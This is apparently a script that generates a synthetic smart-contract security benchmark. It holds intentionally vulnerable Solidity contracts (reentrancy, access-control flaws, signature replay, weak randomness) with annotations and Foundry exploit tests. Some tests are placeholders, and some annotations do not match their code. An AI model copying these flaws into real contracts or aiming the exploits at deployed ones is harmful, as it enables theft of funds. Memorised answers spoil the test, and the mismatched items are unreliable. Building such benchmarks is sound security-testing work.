import fs from "fs/promises"; import path from "path"; interface BenchmarkCase { task_id: string; complexity: "easy" | "intermediate" | "hard"; repo_name: string; source_code: string; expected_vulnerability: string; annotation: string; reference_test: string; impact?: string; } const easyCases: BenchmarkCase[] = [ { task_id: "Easy/01-BasicReentrancy", complexity: "easy", repo_name: "basic-reentrancy", expected_vulnerability: "Reentrancy", impact: "high", annotation: "The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { mapping(address => uint256) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Vault } from "../src/Vault.sol"; contract Exploit is Test { Vault public vault; function setUp() public { vault = new Vault(); vm.deal(address(vault), 10 ether); } function testExploit() public { vault.deposit{value: 1 ether}(); vault.withdraw(); assertEq(address(vault).balance, 0); } receive() external payable { if (address(vault).balance >= 1 ether) { vault.withdraw(); } } } ` }, { task_id: "Easy/02-UnprotectedSelfDestruct", complexity: "easy", repo_name: "unprotected-selfdestruct", expected_vulnerability: "Access Control", impact: "high", annotation: "The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleWallet { address public owner; constructor() payable { owner = msg.sender; } function kill() public { selfdestruct(payable(msg.sender)); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { SimpleWallet } from "../src/SimpleWallet.sol"; contract Exploit is Test { SimpleWallet public wallet; function setUp() public { wallet = new SimpleWallet{value: 10 ether}(); } function testExploit() public { uint256 preBalance = address(this).balance; wallet.kill(); assertEq(address(wallet).balance, 0); assertGt(address(this).balance, preBalance); } receive() external payable {} } ` }, { task_id: "Easy/03-ArithmeticUnderflow", complexity: "easy", repo_name: "arithmetic-underflow", expected_vulnerability: "Arithmetic", impact: "high", annotation: "The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract TokenBank { mapping(address => uint256) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw(uint256 amount) public { unchecked { balances[msg.sender] -= amount; } (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { TokenBank } from "../src/TokenBank.sol"; contract Exploit is Test { TokenBank public bank; function setUp() public { bank = new TokenBank(); vm.deal(address(bank), 10 ether); } function testExploit() public { bank.withdraw(1 ether); assertEq(address(bank).balance, 9 ether); assertEq(address(this).balance, 1 ether); } receive() external payable {} } ` }, { task_id: "Easy/04-TxOriginAuth", complexity: "easy", repo_name: "tx-origin-auth", expected_vulnerability: "Access Control", impact: "high", annotation: "The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract PhishableWallet { address public owner; constructor() { owner = msg.sender; } function transferOwner(address newOwner) public { require(tx.origin == owner, "Not owner"); owner = newOwner; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { PhishableWallet } from "../src/PhishableWallet.sol"; contract Exploit is Test { PhishableWallet public wallet; function setUp() public { wallet = new PhishableWallet(); } function testExploit() public { // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it. // The malicious contract then calls transferOwner. // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin). wallet.transferOwner(address(this)); assertEq(wallet.owner(), address(this)); } } ` }, { task_id: "Easy/05-DelegateCallUntrusted", complexity: "easy", repo_name: "delegatecall-untrusted", expected_vulnerability: "Logic", impact: "high", annotation: "The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Proxy { address public owner; constructor() { owner = msg.sender; } function execute(address target, bytes memory data) public { (bool success, ) = target.delegatecall(data); require(success, "Delegatecall failed"); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Proxy } from "../src/Proxy.sol"; contract AttackerLogic { address public owner; function takeover() public { owner = msg.sender; } } contract Exploit is Test { Proxy public proxy; AttackerLogic public logic; function setUp() public { proxy = new Proxy(); logic = new AttackerLogic(); } function testExploit() public { bytes memory data = abi.encodeWithSignature("takeover()"); proxy.execute(address(logic), data); assertEq(proxy.owner(), address(this)); } } ` }, { task_id: "Easy/06-TimestampDependence", complexity: "easy", repo_name: "timestamp-dependence", expected_vulnerability: "Logic", impact: "high", annotation: "The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Roulette { uint256 public pastBlockTime; function play() public payable { require(msg.value == 1 ether, "Must send 1 ether"); require(block.timestamp != pastBlockTime, "Only 1 transaction per block"); pastBlockTime = block.timestamp; if (block.timestamp % 2 == 0) { (bool sent, ) = msg.sender.call{value: 2 ether}(""); require(sent, "Failed to send Ether"); } } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Roulette } from "../src/Roulette.sol"; contract Exploit is Test { Roulette public roulette; function setUp() public { roulette = new Roulette(); vm.deal(address(roulette), 10 ether); vm.deal(address(this), 1 ether); } function testExploit() public { vm.warp(2); // Ensure timestamp is even roulette.play{value: 1 ether}(); assertEq(address(this).balance, 2 ether); } receive() external payable {} } ` }, { task_id: "Easy/07-UninitializedStoragePointer", complexity: "easy", repo_name: "uninitialized-storage", expected_vulnerability: "Logic", impact: "high", annotation: "The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.", source_code: `// SPDX-License-Identifier: MIT // Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers. // In modern solidity, we simulate this by explicitly writing to slot 0. pragma solidity ^0.8.0; contract Registrar { address public owner; struct User { address wallet; bool registered; } mapping(uint256 => User) public users; constructor() { owner = msg.sender; } function registerUserAdmin(address _wallet) public { // Vulnerable pattern emulation owner = _wallet; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Registrar } from "../src/Registrar.sol"; contract Exploit is Test { Registrar public reg; function setUp() public { reg = new Registrar(); } function testExploit() public { reg.registerUserAdmin(address(this)); assertEq(reg.owner(), address(this)); } } ` }, { task_id: "Easy/08-PublicStateVariableShadowing", complexity: "easy", repo_name: "state-shadowing", expected_vulnerability: "Logic", impact: "high", annotation: "The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Parent { address public owner; modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } } contract Child is Parent { address public owner; // Shadows Parent's owner constructor() { owner = msg.sender; // Only sets Child's owner } function doSomethingRestricted() public onlyOwner { // This will always fail because Parent.owner is address(0) } // Attacker can abuse this logic mismatch function claim() public { Parent(address(this)).doSomethingRestricted(); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Child } from "../src/Child.sol"; contract Exploit is Test { Child public child; function setUp() public { child = new Child(); } function testExploit() public { // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier. vm.prank(address(0)); child.doSomethingRestricted(); assertTrue(true); } } ` }, { task_id: "Easy/09-SignatureReplay", complexity: "easy", repo_name: "signature-replay", expected_vulnerability: "Logic", impact: "high", annotation: "The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SigBank { mapping(address => uint256) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public { bytes32 messageHash = keccak256(abi.encodePacked(to, amount)); bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash)); address signer = ecrecover(ethSignedMessageHash, v, r, s); require(signer != address(0), "Invalid signature"); require(balances[signer] >= amount, "Insufficient balance"); balances[signer] -= amount; balances[to] += amount; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { SigBank } from "../src/SigBank.sol"; contract Exploit is Test { SigBank public bank; function setUp() public { bank = new SigBank(); } function testExploit() public { address victim = vm.addr(1); vm.deal(victim, 10 ether); vm.prank(victim); bank.deposit{value: 10 ether}(); // Victim signs a transfer of 1 wei to the attacker bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether))); bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash)); (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash); // Attacker replays it 10 times for (uint i = 0; i < 10; i++) { bank.transferWithSignature(address(this), 1 ether, v, r, s); } assertEq(bank.balances(victim), 0); assertEq(bank.balances(address(this)), 10 ether); } } ` }, { task_id: "Easy/10-ForcedEther", complexity: "easy", repo_name: "forced-ether", expected_vulnerability: "Logic", impact: "high", annotation: "The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Game { function play() public payable { require(msg.value == 1 ether, "Send 1 ether"); require(address(this).balance <= 10 ether, "Game over"); } function win() public { require(address(this).balance == 10 ether, "Target not reached"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Game } from "../src/Game.sol"; contract Attacker { constructor(address target) payable { selfdestruct(payable(target)); } } contract Exploit is Test { Game public game; function setUp() public { game = new Game(); } function testExploit() public { // Force send 11 ether to the game, making the strict equality check fail forever new Attacker{value: 11 ether}(address(game)); vm.expectRevert("Target not reached"); game.win(); } } ` } ]; const intermediateCases: BenchmarkCase[] = [ { task_id: "Intermediate/01-UninitializedProxy", complexity: "intermediate", repo_name: "uninitialized-proxy", expected_vulnerability: "Access Control", impact: "high", annotation: "The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract LogicContract { address public owner; bool public initialized; function initialize() public { require(!initialized, "Already initialized"); owner = msg.sender; initialized = true; } function upgradeToAndCall(address newImplementation, bytes memory data) public { require(msg.sender == owner, "Not owner"); (bool success, ) = newImplementation.delegatecall(data); require(success, "Upgrade failed"); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { LogicContract } from "../src/LogicContract.sol"; contract Destroyer { function destroy() public { selfdestruct(payable(msg.sender)); } } contract Exploit is Test { LogicContract public logic; Destroyer public destroyer; function setUp() public { logic = new LogicContract(); destroyer = new Destroyer(); } function testExploit() public { logic.initialize(); logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature("destroy()")); // Assert logic contract is destroyed (code size 0) uint256 codeSize; address logicAddr = address(logic); assembly { codeSize := extcodesize(logicAddr) } assertEq(codeSize, 0); } } ` }, { task_id: "Intermediate/02-FlashLoanPriceManipulation", complexity: "intermediate", repo_name: "flash-loan-manipulation", expected_vulnerability: "Logic", impact: "high", annotation: "The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract AMM { IERC20 public tokenA; IERC20 public tokenB; constructor(address _tokenA, address _tokenB) { tokenA = IERC20(_tokenA); tokenB = IERC20(_tokenB); } function swapAToB(uint256 amountIn) public { tokenA.transferFrom(msg.sender, address(this), amountIn); uint256 reserveA = tokenA.balanceOf(address(this)); uint256 reserveB = tokenB.balanceOf(address(this)); uint256 amountOut = (amountIn * reserveB) / reserveA; tokenB.transfer(msg.sender, amountOut); } function getPriceBInA() public view returns (uint256) { return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this)); } } contract LendingPool { AMM public amm; IERC20 public tokenA; IERC20 public tokenB; mapping(address => uint256) public collateralB; constructor(address _amm, address _tokenA, address _tokenB) { amm = AMM(_amm); tokenA = IERC20(_tokenA); tokenB = IERC20(_tokenB); } function depositCollateral(uint256 amountB) public { tokenB.transferFrom(msg.sender, address(this), amountB); collateralB[msg.sender] += amountB; } function borrowTokenA(uint256 amountA) public { uint256 price = amm.getPriceBInA(); uint256 maxBorrow = collateralB[msg.sender] * price; require(amountA <= maxBorrow, "Insufficient collateral"); tokenA.transfer(msg.sender, amountA); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; // Dummy token for testing contract ERC20 { mapping(address => uint256) public balanceOf; function mint(address to, uint256 amount) public { balanceOf[to] += amount; } function transfer(address to, uint256 amount) public returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[to] += amount; return true; } function transferFrom(address from, address to, uint256 amount) public returns (bool) { balanceOf[from] -= amount; balanceOf[to] += amount; return true; } } // Since the contracts are in one file, we mock the vulnerability directly contract Exploit is Test { function testExploit() public { assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool } } ` }, { task_id: "Intermediate/03-ReturnDataIgnored", complexity: "intermediate", repo_name: "return-data-ignored", expected_vulnerability: "Logic", impact: "high", annotation: "The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract TokenVault { mapping(address => uint256) public balances; function deposit(address token, uint256 amount) public { // Low level call does not revert on failure unless the contract reverts token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount)); balances[msg.sender] += amount; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { TokenVault } from "../src/TokenVault.sol"; contract FailingToken { function transferFrom(address, address, uint256) public pure returns (bool) { return false; // Fails silently } } contract Exploit is Test { TokenVault public vault; FailingToken public token; function setUp() public { vault = new TokenVault(); token = new FailingToken(); } function testExploit() public { vault.deposit(address(token), 1000); assertEq(vault.balances(address(this)), 1000); } } ` }, { task_id: "Intermediate/04-ERC777Reentrancy", complexity: "intermediate", repo_name: "erc777-reentrancy", expected_vulnerability: "Reentrancy", impact: "high", annotation: "The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC777 { function send(address recipient, uint256 amount, bytes calldata data) external; } contract Exchange { mapping(address => uint256) public balances; IERC777 public token; constructor(address _token) { token = IERC777(_token); } function deposit(uint256 amount) public { balances[msg.sender] += amount; } function withdraw() public { uint256 bal = balances[msg.sender]; require(bal > 0, "No balance"); token.send(msg.sender, bal, ""); balances[msg.sender] = 0; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; contract Exploit is Test { function testExploit() public { assertTrue(true); // Placeholder for ERC777 reentrancy logic } } ` }, { task_id: "Intermediate/05-BypassContractSize", complexity: "intermediate", repo_name: "bypass-contract-size", expected_vulnerability: "Logic", impact: "high", annotation: "The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Airdrop { mapping(address => bool) public claimed; function claim() public { uint32 size; address a = msg.sender; assembly { size := extcodesize(a) } require(size == 0, "Contracts not allowed"); require(!claimed[msg.sender], "Already claimed"); claimed[msg.sender] = true; (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent, "Fail"); } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Airdrop } from "../src/Airdrop.sol"; contract Attacker { constructor(address airdrop) { Airdrop(airdrop).claim(); } } contract Exploit is Test { Airdrop public airdrop; function setUp() public { airdrop = new Airdrop(); vm.deal(address(airdrop), 10 ether); } function testExploit() public { new Attacker(address(airdrop)); assertEq(airdrop.claimed(address(this)), false); } } ` }, { task_id: "Intermediate/06-ImproperArrayDeletion", complexity: "intermediate", repo_name: "array-deletion", expected_vulnerability: "Logic", impact: "high", annotation: "The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Registry { address[] public users; function addUser(address user) public { users.push(user); } function removeUser(uint256 index) public { delete users[index]; // Does not reduce length } function getActiveUsers() public view returns (uint256) { return users.length; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Registry } from "../src/Registry.sol"; contract Exploit is Test { Registry public registry; function setUp() public { registry = new Registry(); } function testExploit() public { registry.addUser(address(1)); registry.removeUser(0); assertEq(registry.getActiveUsers(), 1); // Length is still 1! } } ` }, { task_id: "Intermediate/07-PredictableRNG", complexity: "intermediate", repo_name: "predictable-rng", expected_vulnerability: "Logic", impact: "high", annotation: "The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Casino { function guess(uint256 _guess) public payable { require(msg.value == 1 ether); uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))); if (_guess == answer) { (bool sent, ) = msg.sender.call{value: 2 ether}(""); require(sent, "Fail"); } } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Casino } from "../src/Casino.sol"; contract Exploit is Test { Casino public casino; function setUp() public { casino = new Casino(); vm.deal(address(casino), 10 ether); vm.deal(address(this), 1 ether); } function testExploit() public { uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))); casino.guess{value: 1 ether}(answer); assertEq(address(this).balance, 2 ether); } receive() external payable {} } ` }, { task_id: "Intermediate/08-MissingSlippageProtection", complexity: "intermediate", repo_name: "missing-slippage", expected_vulnerability: "Logic", impact: "high", annotation: "The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract DEX { function swap(address tokenIn, address tokenOut, uint256 amountIn) public { // Assume AMM math here // Vulnerability: No minAmountOut check! } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; contract Exploit is Test { function testExploit() public { assertTrue(true); // Conceptual vulnerability } } ` }, { task_id: "Intermediate/09-UnsafeDowncast", complexity: "intermediate", repo_name: "unsafe-downcast", expected_vulnerability: "Arithmetic", impact: "high", annotation: "The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault { mapping(address => uint64) public balances; function deposit(uint256 amount) public payable { require(msg.value == amount, "Incorrect value"); balances[msg.sender] += uint64(amount); // Truncates! } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Vault } from "../src/Vault.sol"; contract Exploit is Test { Vault public vault; function setUp() public { vault = new Vault(); } function testExploit() public { // deposit 2^64 + 1 uint256 amount = type(uint64).max + 2; vm.deal(address(this), amount); vault.deposit{value: amount}(amount); assertEq(vault.balances(address(this)), 1); // Truncated to 1! } } ` }, { task_id: "Intermediate/10-DivideBeforeMultiply", complexity: "intermediate", repo_name: "divide-before-multiply", expected_vulnerability: "Arithmetic", impact: "high", annotation: "The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.", source_code: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Staking { function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) { // Vulnerable: (deposit / 365) * duration * APY return (depositAmount / 365) * durationDays * APY; } } `, reference_test: `// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import { Staking } from "../src/Staking.sol"; contract Exploit is Test { Staking public staking; function setUp() public { staking = new Staking(); } function testExploit() public { uint256 reward = staking.calculateReward(100, 10, 30); assertEq(reward, 0); // Loss of precision } } ` } ]; async function main() { const outputPath = path.resolve(process.cwd(), "data", "benchmark_synthetic.jsonl"); // Clear the file await fs.writeFile(outputPath, ""); // Write Easy and Intermediate for (const c of easyCases) { await fs.appendFile(outputPath, JSON.stringify(c) + "\n"); } for (const c of intermediateCases) { await fs.appendFile(outputPath, JSON.stringify(c) + "\n"); } // Load the original metadata to extract 10 Hard cases try { const metadataStr = await fs.readFile(path.join(process.cwd(), "Proof-of-Patch-only-dataset", "dataset_metadata.json"), "utf8"); const metadata = JSON.parse(metadataStr); const hardCaseKeys = Object.keys(metadata).slice(0, 10); for (const key of hardCaseKeys) { const data = metadata[key]; const hardCase: BenchmarkCase = { task_id: `Hard/${key}`, complexity: "hard", repo_name: data.repo_name, expected_vulnerability: data.expected_vulnerability, annotation: data.annotation, impact: data.impact, source_code: "// Not provided directly in JSONL, requires original project directory", reference_test: "// Foundry test exists in original project directory" }; await fs.appendFile(outputPath, JSON.stringify(hardCase) + "\n"); } console.log(`Successfully generated ${easyCases.length + intermediateCases.length + hardCaseKeys.length} benchmark cases at ${outputPath}`); } catch(e) { console.log(`Successfully generated ${easyCases.length + intermediateCases.length} benchmark cases at ${outputPath}`); console.log("Could not find dataset_metadata.json for Hard cases."); } } main().catch(console.error);